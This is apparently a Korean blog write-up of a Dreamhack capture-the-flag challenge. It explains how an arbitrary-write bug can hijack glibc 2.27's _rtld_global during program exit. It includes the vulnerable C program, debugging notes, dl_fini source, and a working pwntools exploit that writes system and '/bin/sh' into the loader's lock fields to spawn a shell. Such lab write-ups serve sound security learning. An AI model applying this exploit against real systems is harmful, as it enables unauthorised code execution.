rtld_global을 이용하는 문제이다
문제코드
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
stdout의 주소를 출력하니 libc base 주소와 ld base 주소를 쉽게 구할 수 있을것으로 보인다
case1일시 친절하게 addr 주소에 값을 넣을 수 있는 코드가 있기에
변조는 쉽게 유도할 수 있어 보인다
rtld_global을 이용해야 하기에 프로그램이 종료될때 쉘을 얻을 수 있도록 조작해야된다
디버깅
libc와 ld 간격
ret에 프로그램 종료시
exit -> run_exit_handler -> _dl_fini -> rtld_global 순으로
진행되는것 확인(si 사용)
glibc 정확한 버전확인
해당 버전의 디버깅 심볼이 있는 파일 다운 + glibc 2.27 다운
디버깅 심볼이 있어야 정확한 확인이 가능하다
gdb usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
p _rtld_global
_dl_rtld_lock_recursive = 0x0,
_dl_load_lock =
glibc 2.27, dl_fini.c 소스코드
#include <assert.h>
#include <string.h>
#include <ldsodefs.h>
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
그렇다면 __rtld_lock_lock_recursive에 system 함수
dl_load_lock에는 /bin/sh을 덮는다면
쉘을 얻을 수 있을것으로 보인다(lock이 locklock이 된 이유는 define으로 다른곳에서 변경됨)
그렇다면
_rtld_global._dl_load_lock과 _rtld_global._dl_rtld_lock_recursive의 위치를 구하여
값을 넣어주면 되겠다
gdb usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
payload
from pwn import *
p = remote ('host1.dreamhack.games', 16356)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000 # docker에서 확인
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
system = libc_base + libc.symbols['system']
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_load_lock))
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive))
p.sendlineafter(b'data: ', str(system))
p.sendlineafter(b'> ', b'2')
p.interactive()
/bin/sh에 널문자를 포함시켜 문자열 끝을 인식 시켜줘야 한다
rtld_global 조작 후 프로그램 종료유도로 쉘 획득
결과
강의에서 이유없이
_rtld_global._dl_load_lock과
_rtld_global._dl_rtld_lock_recursive를
변조하여 쉘을 얻는다는데
이유를 확실하게 찾기위해 libc를 직접 받아 소스코드를 확인했다
이해한게 정확한지는 모르겠지만
현재 찾은 코드가 충분히 신빙성이 있어 보인다
'시스템해킹' 카테고리의 다른 글
[드림핵] rtld 풀이 (0) | 2025.02.06 |
---|---|
[드림핵] __environ 풀이 (0) | 2025.01.17 |
[드림핵] master_canary 풀이 (1) | 2024.12.31 |
[드림핵] Master Canary 풀이 (0) | 2024.12.30 |
[드림핵] seccomp 풀이 (0) | 2024.11.25 |